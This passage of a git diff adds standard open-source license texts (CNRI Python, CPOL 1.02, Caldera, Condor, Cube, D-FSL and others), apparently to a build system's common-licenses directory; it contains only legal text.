+6. CNRI SHALL NOT BE LIABLE TO LICENSEE OR OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. SOME STATES DO NOT ALLOW THE LIMITATION OR EXCLUSION OF LIABILITY SO THE ABOVE DISCLAIMER MAY NOT APPLY TO LICENSEE.
+7. This License Agreement may be terminated by CNRI (i) immediately upon written notice from CNRI of any material breach by the Licensee, if the nature of the breach is such that it cannot be promptly remedied; or (ii) sixty (60) days following notice from CNRI to Licensee of a material remediable breach, if Licensee has not remedied such breach within that sixty-day period.
+8. This License Agreement shall be governed by and interpreted in all respects by the law of the State of Virginia, excluding conflict of law provisions. Nothing in this Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee.
+9. By clicking on the "ACCEPT" button where indicated, or by installing, copying or otherwise using the Software, Licensee agrees to be bound by the terms and conditions of this License Agreement.
diff --git a/meta/files/common-licenses/CNRI-Python b/meta/files/common-licenses/CNRI-Python
new file mode 100644
index 0000000000..64f1298e95
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Python
@@ -0,0 +1,25 @@
+CNRI OPEN SOURCE LICENSE AGREEMENT
+
+IMPORTANT: PLEASE READ THE FOLLOWING AGREEMENT CAREFULLY.
+
+BY CLICKING ON "ACCEPT" WHERE INDICATED BELOW, OR BY COPYING, INSTALLING OR OTHERWISE USING PYTHON 1.6, beta 1 SOFTWARE, YOU ARE DEEMED TO HAVE AGREED TO THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 1.6, beta 1 software in source or binary form and its associated documentation, as released at the www.python.org Internet site on August 4, 2000 ("Python 1.6b1").
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a non-exclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 1.6b1 alone or in any derivative version, provided, however, that CNRIs License Agreement is retained in Python 1.6b1, alone or in any derivative version prepared by Licensee.
+
+Alternately, in lieu of CNRIs License Agreement, Licensee may substitute the following text (omitting the quotes): "Python 1.6, beta 1, is made available subject to the terms and conditions in CNRIs License Agreement. This Agreement may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1011. This Agreement may also be obtained from a proxy server on the Internet using the URL:http://hdl.handle.net/1895.22/1011".
+
+3. In the event Licensee prepares a derivative work that is based on or incorporates Python 1.6b1 or any part thereof, and wants to make the derivative work available to the public as provided herein, then Licensee hereby agrees to indicate in any such work the nature of the modifications made to Python 1.6b1.
+
+4. CNRI is making Python 1.6b1 available to Licensee on an "AS IS" basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6b1 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF USING, MODIFYING OR DISTRIBUTING PYTHON 1.6b1, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+7. This License Agreement shall be governed by and interpreted in all respects by the law of the State of Virginia, excluding conflict of law provisions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee. This License Agreement does not grant permission to use CNRI trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying, installing or otherwise using Python 1.6b1, Licensee agrees to be bound by the terms and conditions of this License Agreement.
+
+ACCEPT
diff --git a/meta/files/common-licenses/CNRI-Python-GPL-Compatible b/meta/files/common-licenses/CNRI-Python-GPL-Compatible
new file mode 100644
index 0000000000..2754c70e89
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Python-GPL-Compatible
@@ -0,0 +1,23 @@
+CNRI OPEN SOURCE GPL-COMPATIBLE LICENSE AGREEMENT
+
+IMPORTANT: PLEASE READ THE FOLLOWING AGREEMENT CAREFULLY.
+
+BY CLICKING ON "ACCEPT" WHERE INDICATED BELOW, OR BY COPYING, INSTALLING OR OTHERWISE USING PYTHON 1.6.1 SOFTWARE, YOU ARE DEEMED TO HAVE AGREED TO THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 1.6.1 software in source or binary form and its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 1.6.1 alone or in any derivative version, provided, however, that CNRI's License Agreement and CNRI's notice of copyright, i.e., "Copyright © 1995-2001 Corporation for National Research Initiatives; All Rights Reserved" are retained in Python 1.6.1 alone or in any derivative version prepared by Licensee. Alternately, in lieu of CNRI's License Agreement, Licensee may substitute the following text (omitting the quotes): "Python 1.6.1 is made available subject to the terms and conditions in CNRI's License Agreement. This Agreement together with Python 1.6.1 may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1013. This Agreement may also be obtained from a proxy server on the Internet using the following URL: http://hdl.handle.net/1895.22/1013".
+
+3. In the event Licensee prepares a derivative work that is based on or incorporates Python 1.6.1 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 1.6.1.
+
+4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS" basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+7. This License Agreement shall be governed by the federal intellectual property law of the United States, including without limitation the federal copyright law, and, to the extent such U.S. federal law does not apply, by the law of the Commonwealth of Virginia, excluding Virginia's conflict of law provisions. Notwithstanding the foregoing, with regard to derivative works based on Python 1.6.1 that incorporate non-separable material that was previously distributed under the GNU General Public License (GPL), the law of the Commonwealth of Virginia shall govern this License Agreement only as to issues arising under or with respect to Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee. This License Agreement does not grant permission to use CNRI trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying, installing or otherwise using Python 1.6.1, Licensee agrees to be bound by the terms and conditions of this License Agreement.
+
+ACCEPT
diff --git a/meta/files/common-licenses/CPOL-1.02 b/meta/files/common-licenses/CPOL-1.02
new file mode 100644
index 0000000000..9857e0003b
--- /dev/null
+++ b/meta/files/common-licenses/CPOL-1.02
@@ -0,0 +1,98 @@
+The Code Project Open License (CPOL) 1.02
+
+Preamble
+
+This License governs Your use of the Work. This License is intended to allow developers to use the Source Code and Executable Files provided as part of the Work in any application in any form.
+
+The main points subject to the terms of the License are:
+- Source Code and Executable Files can be used in commercial applications;
+- Source Code and Executable Files can be redistributed; and
+- Source Code can be modified to create derivative works.
+- No claim of suitability, guarantee, or any warranty whatsoever is provided. The software is provided "as-is".
+- The Article accompanying the Work may not be distributed or republished without the Author's consent
+
+This License is entered between You, the individual or other entity reading or otherwise making use of the Work licensed pursuant to this License and the individual or other entity which offers the Work under the terms of this License ("Author").
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CODE PROJECT OPEN LICENSE ("LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HEREIN, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE AUTHOR GRANTS YOU THE RIGHTS CONTAINED HEREIN IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO ACCEPT AND BE BOUND BY THE TERMS OF THIS LICENSE, YOU CANNOT MAKE ANY USE OF THE WORK.
+
+1. Definitions.
+
+ a. "Articles" means, collectively, all articles written by Author which describes how the Source Code and Executable Files for the Work may be used by a user.
+
+ b. "Author" means the individual or entity that offers the Work under the terms of this License.
+
+ c. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works.
+
+ d. "Executable Files" refer to the executables, binary files, configuration and any required data files included in the Work.
+
+ e. "Publisher" means the provider of the website, magazine, CD-ROM, DVD or other medium from or by which the Work is obtained by You.
+
+ f. "Source Code" refers to the collection of source code and configuration files used to create the Executable Files.
+
+ g. "Standard Version" refers to such a Work if it has not been modified, or has been modified in accordance with the consent of the Author, such consent being in the full discretion of the Author.
+
+ h. "Work" refers to the collection of files distributed by the Publisher, including the Source Code, Executable Files, binaries, data files, documentation, whitepapers and the Articles.
+
+ i. "You" is you, an individual or entity wishing to use the Work and exercise your rights under this License.
+
+2. Fair Use/Fair Use Rights. Nothing in this License is intended to reduce, limit, or restrict any rights arising from fair use, fair dealing, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, the Author hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ a. You may use the standard version of the Source Code or Executable Files in Your own applications.
+
+ b. You may apply bug fixes, portability fixes and other modifications obtained from the Public Domain or from the Author. A Work modified in such a way shall still be considered the standard version and will be subject to this License.
+
+ c. You may otherwise modify Your copy of this Work (excluding the Articles) in any way to create a Derivative Work, provided that You insert a prominent notice in each changed file stating how, when and where You changed that file.
+
+ d. You may distribute the standard version of the Executable Files and Source Code or Derivative Work in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution.
+
+ e. The Articles discussing the Work published in any form by the author may not be distributed or republished without the Author's consent. The author retains copyright to any such Articles. You may use the Executable Files and Source Code pursuant to this License but you may not repost or republish or otherwise distribute or make available the Articles, without the prior written consent of the Author.
+
+Any subroutines or modules supplied by You and linked into the Source Code or Executable Files of this Work shall not be considered part of this Work and will not be subject to the terms of this License.
+
+4. Patent License. Subject to the terms and conditions of this License, each Author hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, import, and otherwise transfer the Work.
+
+5. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You agree not to remove any of the original copyright, patent, trademark, and attribution notices and associated disclaimers that may appear in the Source Code or Executable Files.
+
+ b. You agree not to advertise or in any way imply that this Work is a product of Your own.
+
+ c. The name of the Author may not be used to endorse or promote products derived from the Work without the prior written consent of the Author.
+
+ d. You agree not to sell, lease, or rent any part of the Work. This does not restrict you from including the Work or any part of the Work inside a larger software distribution that itself is being sold. The Work by itself, though, cannot be sold, leased or rented.
+
+ e. You may distribute the Executable Files and Source Code only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy of the Executable Files or Source Code You distribute and ensure that anyone receiving such Executable Files and Source Code agrees that the terms of this License apply to such Executable Files and/or Source Code. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute the Executable Files or Source Code with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License.
+
+ f. You agree not to use the Work for illegal, immoral or improper purposes, or on pages containing illegal, immoral or improper material. The Work is subject to applicable export laws. You agree to comply with all such laws and regulations that may apply to the Work after Your receipt of the Work.
+
+6. Representations, Warranties and Disclaimer. THIS WORK IS PROVIDED "AS IS", "WHERE IS" AND "AS AVAILABLE", WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES OR CONDITIONS OR GUARANTEES. YOU, THE USER, ASSUME ALL RISK IN ITS USE, INCLUDING COPYRIGHT INFRINGEMENT, PATENT INFRINGEMENT, SUITABILITY, ETC. AUTHOR EXPRESSLY DISCLAIMS ALL EXPRESS, IMPLIED OR STATUTORY WARRANTIES OR CONDITIONS, INCLUDING WITHOUT LIMITATION, WARRANTIES OR CONDITIONS OF MERCHANTABILITY, MERCHANTABLE QUALITY OR FITNESS FOR A PARTICULAR PURPOSE, OR ANY WARRANTY OF TITLE OR NON-INFRINGEMENT, OR THAT THE WORK (OR ANY PORTION THEREOF) IS CORRECT, USEFUL, BUG-FREE OR FREE OF VIRUSES. YOU MUST PASS THIS DISCLAIMER ON WHENEVER YOU DISTRIBUTE THE WORK OR DERIVATIVE WORKS.
+
+7. Indemnity. You agree to defend, indemnify and hold harmless the Author and the Publisher from and against any claims, suits, losses, damages, liabilities, costs, and expenses (including reasonable legal or attorneys' fees) resulting from or relating to any use of the Work by You.
+
+8. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL THE AUTHOR OR THE PUBLISHER BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK OR OTHERWISE, EVEN IF THE AUTHOR OR THE PUBLISHER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+9. Termination.
+
+ a. This License and the rights granted hereunder will terminate automatically upon any breach by You of any term of this License. Individuals or entities who have received Derivative Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 6, 7, 8, 9, 10 and 11 will survive any termination of this License.
+
+ b. If You bring a copyright, trademark, patent or any other infringement claim against any contributor over infringements You claim are made by the Work, your License from such contributor to the Work ends automatically.
+
+ c. Subject to the above terms and conditions, this License is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, the Author reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+10. Publisher. The parties hereby confirm that the Publisher shall not, under any circumstances, be responsible for and shall not have any liability in respect of the subject matter of this License. The Publisher makes no warranty whatsoever in connection with the Work and shall not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. The Publisher reserves the right to cease making the Work available to You at any time without notice
+
+11. Miscellaneous
+
+ a. This License shall be governed by the laws of the location of the head office of the Author or if the Author is an individual, the laws of location of the principal place of residence of the Author.
+
+ b. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this License, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ c. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ d. This License constitutes the entire agreement between the parties with respect to the Work licensed herein. There are no understandings, agreements or representations with respect to the Work not specified herein. The Author shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Author and You.
diff --git a/meta/files/common-licenses/Caldera b/meta/files/common-licenses/Caldera
new file mode 100644
index 0000000000..752ccc1110
--- /dev/null
+++ b/meta/files/common-licenses/Caldera
@@ -0,0 +1,25 @@
+Caldera International, Inc. hereby grants a fee free license that includes the rights use, modify and distribute this named source code, including creating derived binary products created from the source code. The source code for which Caldera International, Inc. grants rights are limited to the following UNIX Operating Systems that operate on the 16-Bit PDP-11 CPU and early versions of the 32-Bit UNIX Operating System, with specific exclusion of UNIX System III and UNIX System V and successor operating systems:
+
+ 32-bit 32V UNIX
+ 16 bit UNIX Versions 1, 2, 3, 4, 5, 6, 7
+
+Caldera International, Inc. makes no guarantees or commitments that any source code is available from Caldera
+International, Inc.
+
+The following copyright notice applies to the source code files for which this license is granted.
+
+Copyright(C) Caldera International Inc. 2001-2002. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ Redistributions of source code and documentation must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ All advertising materials mentioning features or use of this software must display the following acknowledgement:
+This product includes software developed or owned by Caldera International, Inc.
+
+ Neither the name of Caldera International, Inc. nor the names of other contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+USE OF THE SOFTWARE PROVIDED FOR UNDER THIS LICENSE BY CALDERA INTERNATIONAL, INC. AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALDERA INTERNATIONAL, INC. BE LIABLE FOR ANY DIRECT, INDIRECT INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Condor-1.1 b/meta/files/common-licenses/Condor-1.1
new file mode 100644
index 0000000000..c7a4f2cb55
--- /dev/null
+++ b/meta/files/common-licenses/Condor-1.1
@@ -0,0 +1,40 @@
+Condor Public License
+
+Version 1.1, October 30, 2003
+
+Copyright © 1990-2006 Condor Team, Computer Sciences Department, University of Wisconsin-Madison, Madison, WI. All Rights Reserved. For more information contact: Condor Team, Attention: Professor Miron Livny, Dept of Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.
+
+This software referred to as the Condor® Version 6.x software ("Software") was developed by the Condor Project, Condor Team, Computer Sciences Department, University of Wisconsin-Madison, under the authority of the Board of Regents of the University of Wisconsin System and includes voluntary contributions made to the Condor Project ("Copyright Holders and Contributors and the University"). For more information on the Condor Project, please see http://www.condorproject.org/.
+
+Installation, use, reproduction, display, modification and redistribution of this Software, with or without modification, in source and binary forms, are permitted. Any exercise of rights under this license including sublicenses by you is subject to the following conditions:
+
+1. Redistributions of this Software, with or without modification, must reproduce this Condor Public License in: (1) the Software, and (2) any user documentation or other similar material which is provided with the Software.
+
+2. Any user documentation included with a redistribution must include the following notice:
+``This product includes software from the Condor® Project (http://www.condorproject.org/)"
+Alternatively, if that is where third-party acknowledgments normally appear, this acknowledgment must be reproduced in the Software itself.
+3. Any academic report, publication, or other academic disclosure of results obtained with this Software will acknowledge this Software's use by an appropriate citation.
+
+4. The name Condor® is a registered trademark of the University of Wisconsin-Madison. The trademark may not be used to endorse or promote software, or products derived therefrom, and, other than as required by section 2 and 3 above, it may not be affixed to modified redistributions of this Software without the prior written approval, obtainable via email to condor-admin@cs.wisc.edu.
+
+5. To the extent that patent claims licensable by the University of Wisconsin-Madison are necessarily infringed by the use or sale of the Software, you are granted a non-exclusive, worldwide, royalty- free perpetual license under such patent claims, with the rights for you to make, use, sell, offer to sell, import and otherwise transfer the Software in source code and object code form and derivative works. This patent license shall apply to the combination of the Software with other software if, at the time the Software is added by you, such addition of the Software causes such combination to be covered by such patent claims. This patent license shall not apply to any other combinations which include the Software. No hardware per se is licensed hereunder.If you or any subsequent sub-licensee (a ``Recipient") institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Software infringes such Recipient's patent(s), then such Recipient's rights granted (directly or indirectly) under the patent license above shall terminate as of the date such litigation is filed. All sublicenses to the Software which have been properly granted prior to termination shall survive any termination of said patent license, if not otherwise terminated pursuant to this section.
+
+6. DISCLAIMER
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, OF SATISFACTORY QUALITY, AND FITNESS FOR A PARTICULAR PURPOSE OR USE ARE DISCLAIMED. THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY MAKE NO REPRESENTATION THAT THE SOFTWARE, MODIFICATIONS, ENHANCEMENTS OR DERIVATIVE WORKS THEREOF, WILL NOT INFRINGE ANY PATENT, COPYRIGHT, TRADEMARK, TRADE SECRET OR OTHER PROPRIETARY RIGHT.
+7. LIMITATION OF LIABILITY
+THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND ANY OTHER OFFICER, AGENT, OR EMPLOYEE OF THE UNIVERSITY SHALL HAVE NO LIABILITY TO LICENSEE OR OTHER PERSONS FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, LOSS OF USE, DATA OR PROFITS, OR BUSINESS INTERRUPTION, HOWEVER CAUSED AND ON ANY THEORY OF CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), PRODUCT LIABILITY OR OTHERWISE, ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+8. Certain uses and transfers of the Software or documentation, and/or items or software incorporating the Condor Software or documentation, may require a license under U.S. Export Control laws. Licensee represents and warrants that all uses and transfers of the Condor Software or documentation and/or any items or software incorporating Condor shall be in compliance with U.S. Export Control laws, and Licensee further understands that failure to comply with such export control laws may result in criminal liability to Licensee under U.S. laws.
+
+9. The Condor Team may publish revised and/or new versions of this Condor Public License (``this License") from time to time. Each version will be given a distinguishing version number. Once Software has been published under a particular version of this License, you may always continue to use it under the terms of that version. You may also choose to use such Software under the terms of any subsequent version of this License published by the Condor Team. No one other than the Condor Team has the right to modify the terms of this License.
+
+For more information:
+
+Condor Team
+Attention: Professor Miron Livny
+7367 Computer Sciences
+1210 W. Dayton St.
+Madison, WI 53706-1685
+miron@cs.wisc.edu
+http://pages.cs.wisc.edu/~miron/miron.html
+
+
diff --git a/meta/files/common-licenses/Crossword b/meta/files/common-licenses/Crossword
new file mode 100644
index 0000000000..6be940c33b
--- /dev/null
+++ b/meta/files/common-licenses/Crossword
@@ -0,0 +1,5 @@
+Copyright (C) 1995-2009 Gerd Neugebauer
+
+cwpuzzle.dtx is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing.
+.
+Everyone is granted permission to copy, modify and redistribute cwpuzzle.dtx, provided this copyright notice is preserved and any modifications are indicated.
diff --git a/meta/files/common-licenses/CrystalStacker b/meta/files/common-licenses/CrystalStacker
new file mode 100644
index 0000000000..506361a956
--- /dev/null
+++ b/meta/files/common-licenses/CrystalStacker
@@ -0,0 +1,7 @@
+Crystal Stacker is freeware. This means you can pass copies around freely provided you include this document in it's original form in your distribution. Please see the "Contacting Us" section of this document if you need to contact us for any reason.
+
+Disclaimer
+
+NewCreature Design makes no guarantees regarding the Crystal Stacker software. We are not responsible for damages caused by it, though the software is not known to cause any problems. If you have trouble with the software, see the "Contacting Us" section of this document.
+
+The source code is provided as-is and you may do with it whatsoever you please provided that you include this file in its unmodified form with any new distribution. NewCreature Design makes no gaurantees regarding the usability of the source but are willing to help with any problems you might run into. Please see the "Contacting Us" section of this document if you need to get in touch with us about any issues you have regarding the source.
diff --git a/meta/files/common-licenses/Cube b/meta/files/common-licenses/Cube
new file mode 100644
index 0000000000..0a9ea66eb3
--- /dev/null
+++ b/meta/files/common-licenses/Cube
@@ -0,0 +1,17 @@
+Cube game engine source code, 20 dec 2003 release.
+
+Copyright (C) 2001-2003 Wouter van Oortmerssen.
+
+This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ 3. This notice may not be removed or altered from any source distribution.
+
+additional clause specific to Cube:
+
+ 4. Source versions may not be "relicensed" under a different license without my explicitly written permission.
diff --git a/meta/files/common-licenses/D-FSL-1.0 b/meta/files/common-licenses/D-FSL-1.0
new file mode 100644
index 0000000000..b64a259c47
--- /dev/null
+++ b/meta/files/common-licenses/D-FSL-1.0
@@ -0,0 +1,147 @@
+Deutsche Freie Software Lizenz
+
+(c) Ministerium für Wissenschaft und Forschung Nordrhein-Westfalen 2004
+
+Erstellt von Axel Metzger und Till Jaeger, Institut für Rechtsfragen der Freien und Open Source Software - (http://www.ifross.de).
+
+Präambel
+
+Software ist mehr als ein Wirtschaftsgut. Sie ist die technische Grundlage der Informationsgesellschaft. Die Frage der Teilhabe der Allgemeinheit ist deswegen von besonderer Bedeutung. Herkömmlich lizenzierte Programme werden nur im Object Code vertrieben, der Nutzer darf das Programm weder verändern noch weitergeben. Das Lizenzmodell der Freien Software (synonym "Open Source Software") gewährt Ihnen dagegen umfassende Freiheiten im Umgang mit dem Programm. Die Deutsche Freie Software Lizenz folgt diesem Lizenzmodell. Sie gewährt Ihnen das Recht, das Programm in umfassender Weise zu nutzen. Es ist Ihnen gestattet, das Programm nach Ihren Vorstellungen zu verändern, in veränderter oder unveränderter Form zu vervielfältigen, zu verbreiten und öffentlich zugänglich zu machen. Diese Rechte werden unentgeltlich eingeräumt.
+
+Die Deutsche Freie Software Lizenz verbindet die Rechtseinräumung allerdings mit Pflichten, die dem Zweck dienen, das freie Zirkulieren des Programms und aller veröffentlichten Fortentwicklungen zu sichern. Wenn Sie das Programm verbreiten oder öffentlich zugänglich machen, dann müssen Sie jedem, der das Programm von Ihnen erhält, eine Kopie dieser Lizenz mitliefern und den Zugriff auf den Source Code ermöglichen. Eine weitere Pflicht betrifft Fortentwicklungen des Programms. Änderungen am Programm, die Sie öffentlich verbreiten oder zugänglich machen, müssen nach den Bestimmungen dieser Lizenz frei gegeben werden.
+
+Die Deutsche Freie Software Lizenz nimmt auf die besonderen Anforderungen des deutschen und europäischen Rechts Rücksicht. Sie ist zweisprachig gestaltet und damit auch auf den internationalen Vertrieb ausgerichtet.
+
+§ 0 Definitionen
+
+Dokumentation: Die Beschreibung des Aufbaus und/oder der Struktur der Programmierung und/oder der Funktionalitäten des Programms, unabhängig davon, ob sie im Source Code oder gesondert vorgenommen wird.
+
+Lizenz: Die zwischen dem Lizenzgeber und Ihnen geschlossene Vereinbarung mit dem Inhalt der "Deutschen Freien Software Lizenz" bzw. das Angebot hierzu.
+
+Lizenznehmer: Jede natürliche oder juristische Person, die die Lizenz angenommen hat.
+
+Programm: Jedes Computerprogramm, das von den Rechtsinhabern nach den Bestimmungen dieser Lizenz verbreitet oder öffentlich zugänglich gemacht worden ist.
+
+Object Code: Die maschinenlesbare, übersetzte Form des Programms.
+
+Öffentlich: Nicht nur an einen bestimmten Personenkreis gerichtet, der persönlich oder durch die Zugehörigkeit zu einer juristischen Person oder einem öffentlichen Träger miteinander verbunden ist.
+
+Öffentlich zugänglich machen: Die öffentliche Weitergabe des Programms in unkörperlicher Form, insbesondere das Bereithalten zum Download in Datennetzen.
+
+Rechtsinhaber: Der bzw. die Urheber oder sonstigen Inhaber der ausschließlichen Nutzungsrechte an dem Programm.
+
+Source Code: Die für Menschen lesbare, in Programmiersprache dargestellte Form des Programms.
+
+Verändern: Jede Erweiterung, Kürzung und Bearbeitung des Programms, insbesondere Weiterentwicklungen.
+
+Verbreiten: Die öffentliche Weitergabe körperlicher Vervielfältigungsstücke, insbesondere auf Datenträgern oder in Verbindung mit Hardware.
+
